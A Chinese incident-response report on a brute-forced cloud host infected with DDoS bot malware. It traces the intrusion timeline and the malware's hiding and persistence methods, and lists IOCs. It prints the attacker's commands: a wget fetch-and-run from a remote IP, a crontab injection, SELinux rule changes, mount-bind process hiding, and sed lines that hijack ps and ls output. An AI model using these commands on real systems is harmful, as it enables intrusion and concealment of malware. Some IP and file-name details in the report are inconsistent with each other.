1. 事件背景
近期,网宿平台某客户在使用云主机工作的时候突然出现主机卡顿,连接不稳定,网络断开的情况,并且收到了网宿主机入侵检测产品的告警信息。由于客户没有专职的安全人员,由运维人员兼任安全运营工作,于是网宿安全专家协助对事件进行排查、溯源、处理。
2. 入侵过程溯源分析
获得用户授权后,网宿安全专家登录控制台查看,发现一些病毒进程、隐藏进程告警,以及一些异常登录信息:
查看主机的资源监控,发现极高的CPU占用以及很高的上行带宽。从异常特征来看很可能是感染病毒后被当作肉鸡,对外发起DDOS攻击。
网宿安全专家使用网宿主机入侵检测的溯源功能对入侵过程进行溯源分析,通过进程树视图可以看到amd64启动了amd64子进程,并且执行mount命令进行隐藏。通过切换到会话视图,可以看到相同会话下执行了wget下载了病毒文件,登录IP 87.246.7.38来自于保加利亚索非亚,与异常登录告警一致。
TIPS: 会话模式,linux下每次登录都会记录一个会话ID,相同会话ID可以比较全面的记录一次入侵登录的执行行为。很多病毒和命令执行后不会在原来的父进程下,如果只通过进程树进行跟踪将缺失很多重要信息。 |
---|
切换到进程树的文本视图可以比较简洁明了的查看完整的命令执行列表。从文本视图可以快速看到病毒的下载、执行、隐藏、修改定时任务等行为信息。通过以下线索梳理关键的时间线信息。
时间 | 行为 |
---|---|
2024-06-28 06:55:55 | 异常登录,登录IP 87.246.7.38来自于保加利亚索非亚 |
2024-06-28 06:55:56 | bash -c uname –m获取操作系统架构信息,方便后续下载对应的样本 |
2024-06-28 06:55:56 | bash -c cd /tmp;rm -f amd64;wget -t 1 http://198.98.51.37:27222/s/amd64确保 /tmp 目录下无同名文件,使用 wget 命令从远程服务器下载恶意文件 amd64 并存放在 /tmp 目录下。 |
2024-06-28 06:56:05 | bash -c /tmp/amd64执行命令,启动病毒样本 |
2024-06-28 06:56:06 | /bin/bash -c echo "*/1 * * * * root /.mod " >> /etc/crontab在定时任务中写入配置,每分钟启动/.mod |
2024-06-28 06:56:06 | /bin/bash -c cd /boot;ausearch -c 'system.pub' --raw | audit2allow -M my-Systemmod;semodule -X 300 -i my-Systemmod.pp使用audit2allow和semodule修改系统的SELinux规则,使system.pub的操作不会被限制。 |
2024-06-28 06:56:07 | mount -o bind /tmp/ /proc/38915 通过mount命令对进程进行隐藏,这里的38915就是病毒进程的PID |
2024-06-28 06:56:07 | /bin/sh /usr/sbin/service cron start通过服务启动cron,确保定时任务执行 |
3. 行为审计-病毒行为追踪
对入侵过程进行溯源分析后,接着可以通过审计功能对病毒的行为进行分析,以便彻底的对病毒、后门、配置篡改等进行清理,恢复主机至安全状态。审计包括登录审计、进程审计、文件审计、流量审计。
3.1 进程隐藏
在之前溯源分析以及审计的过程中检测到此命令mount -o bind /tmp/ /proc/38915,此命令通过mount将进程路径挂载到/tmp使得其他程序无法获得进程的信息,ps和top等均无法查看到进程信息。需要通过umount解除挂载才能看到进程。
解除前,ps看不到进程信息
但是进程路径是存在的,内容却是/tmp中的内容
解除后,可以看到进程信息
TIPS:通过mount进程PID路径对进程进行隐藏,使得进程的文件路径、启动路径等均无法获取。此时通过PS、TOP等命令均无法查看进程。是最常用的进程隐藏方法,没有依赖,执行简单,不修改preload或者内核,侵入性低,不影响系统稳定性。 |
---|
3.2 文件隐藏
在对病毒修改文件的审计中发现/etc/profile.d/gateway.sh对一些重要命令进行了劫持来实现病毒相关文件的隐藏。
路径/etc/profile.d在每次用户登录时进行了加载,这个文件中对重要的命令进行了重新定义,这些命令会调用原始的命令,但是输出时会通过sed屏蔽包含一些关键字的信息。被篡改的命令均是常用的查看命令:ps、ss、netstat、dir、ls、find、lsof,使得常规的查看命令很难发现病毒的痕迹。
屏蔽的关键字均是病毒文件或者病毒相关文件
proc_name=$(echo "$proc_name" | sed -e '/\/usr\/bin\/include\//d')proc_name=$(echo "$proc_name" | sed -e '/dns-udp4/d')proc_name=$(echo "$proc_name" | sed -e '/quotaon.service/d')proc_name=$(echo "$proc_name" | sed -e '/system.pub/d')proc_name=$(echo "$proc_name" | sed -e '/gateway.sh/d')proc_name=$(echo "$proc_name" | sed -e '/.mod/d')proc_name=$(echo "$proc_name" | sed -e '/libgdi.so.0.8.2/d')proc_name=$(echo "$proc_name" | sed -e '/system.mark/d')proc_name=$(echo "$proc_name" | sed -e '/netstat.cfg/d')proc_name=$(echo "$proc_name" | sed -e '/bash.cfg/d') |
---|
使用系统的ls命令无法看到病毒文件,因为被屏蔽了。而使用busybox执行的ls命令是可以看到病毒文件的。
TIPS:病毒经常通过劫持方式在输出中隐藏病毒文件,常见的有alias劫持、定义function函数、替换文件劫持命令,更深层次的可以通过预加载动态链接库、rootkit等方式劫持系统函数。 |
---|
3.3 启动项持久化
通过进程审计分析病毒修改或创建的文件发现病毒样本修改了大量的配置文件,主要涉及路径/etc/init.d,/etc/profile.d路径。/etc/init.d路径下的文件在开机启动时被执行,/etc/profile.d下的文件在用户登录时执行。
病毒遍历这两个路径下的所有配置文件,识别里面的if then语句,在语句后插入病毒的启动路径/lib/system.mark.
TIPS:植入开机启动项与登录启动项是病毒常见的持久化方式,使得用户连接上以后自动执行病毒。 |
---|
3.4 定时任务持久化
在文件审计中有看到对/etc/crontab文件的修改,并且前面的进程命令中包含篡改此文件的命令 /bin/bash -c echo "*/1 * * * * root /.mod " >> /etc/crontab
查看/etc/crontab与/.mod的内容,病毒通过配置定时任务,每分钟启动一次/.mod,/.mod中启动/usr/lib/libgdi.so.0.8.2,这是一个伪装成so的病毒样本,其hash值与amd64相同。
TIPS:在定时任务中添加配置是病毒持久化常用的手段,即使杀死了病毒进程,没有清理定时任务的话,很快又会被拉起,经常使得病毒很难清理干净。 |
---|
3.5 释放病毒文件
通过病毒木马对系统进行扫描,发现病毒将自身复制到多个路径下,并且伪造成系统文件相似的名字,他们的MD5值均相同,这些文件会在前面分析的各类配置文件中被拉起。
病毒路径列表:
/tmp/adm64/usr/lib/libgdi.so.0.8.2/lib/libgdi.so.0.8.2/boot/system.pub/etc/profile.d/bash.cfg/lib/system.mark/usr/lib/system.mark |
---|
TIPS:病毒通常会将自身复制到系统关键的配置路径,启动路径,lib库路径下,并伪装成与系统文件相似的名字,使得人工分析难以察觉。 |
---|
3.6 文件时间篡改
从病毒木马检测中发现这些病毒的创建时间均为2020-02-27 13:52:07,而文件审计中这些文件均有近期的操作记录,病毒样本对文件时间进行了篡改,试图绕过检测。
TIPS:一些安全工具会对创建时间比较久远的文件跳过检测,隐藏病毒也经常通过篡改文件时间来视图规避检测。 |
---|
3.7 外连C&C域名
通过流量审计功能对病毒通信IP进行分析,找到两个IP地址,其中一个是病毒的C&C服务器地址,一个是病毒样本下载地址。此样本通过51.222.38.42下发命令发起DDOS攻击。
IP | 地理位置 | 作用 |
---|---|---|
51.222.38.42 | 法国 | C&C控制地址 |
193.142.146.228 | 荷兰弗莱福兰省 | 样本下载地址 |
TIPS:许多样本在感染时通常表现为静默状态,只有在接受到C&C远控下发命令时才执行具体的行为,比如发起DDOS攻击。 |
---|
4. 处置措施
- 隔离受感染的系统,可以通过一键隔离功能快速进行隔离,防止远控地址下发命令,防止重新下载感染病毒。
- 删除病毒文件,包括初始下载的以后后续病毒样本释放的文件。
- 通过umount命令解除进程隐藏行为,然后杀死病毒进程。
- 修复被篡改的配置文件,删除植入的配置文件。
- 修改用户口令,确保口令满足复杂度要求,并且不在常见的弱口令库中。
5. 事件总结
攻击者通过暴力破解的方式获取了登录权限,然后从远程地址下载病毒样本并执行。病毒通过mount隐藏方法对进行进行了隐藏,通过劫持系统命令屏蔽病毒相关文件名字对文件进行了隐藏,通过开机启动项、定时任务、登录启动项配置中植入病毒路径进行持久化,删除病毒样本后,病毒执行又会重新释放恶意样本,使得病毒很难被清理。最后样本连接C&C服务器,等待接收指令,接收到指令后对外发起攻击,占用大量的CPU和上行带宽。
这个病毒对进程、文件均进行了隐藏,并且使用了多种方式进行持久化,病毒在静默状态下很难被发现,并且很难彻底清理。
6. 病毒样本IOC
病毒MD5 | 1c0e411f155da1bec2ca67af95bcb235 |
---|---|
C&C地址 | 51.222.38.42193.142.146.228 |
释放病毒样本 | /tmp/adm64/usr/lib/libgdi.so.0.8.2/lib/libgdi.so.0.8.2/boot/system.pub/etc/profile.d/bash.cfg/lib/system.mark/usr/lib/system.mark |
释放脚本 | /.mod |
篡改配置文件 | 开机启动类定时任务类连接启动类 |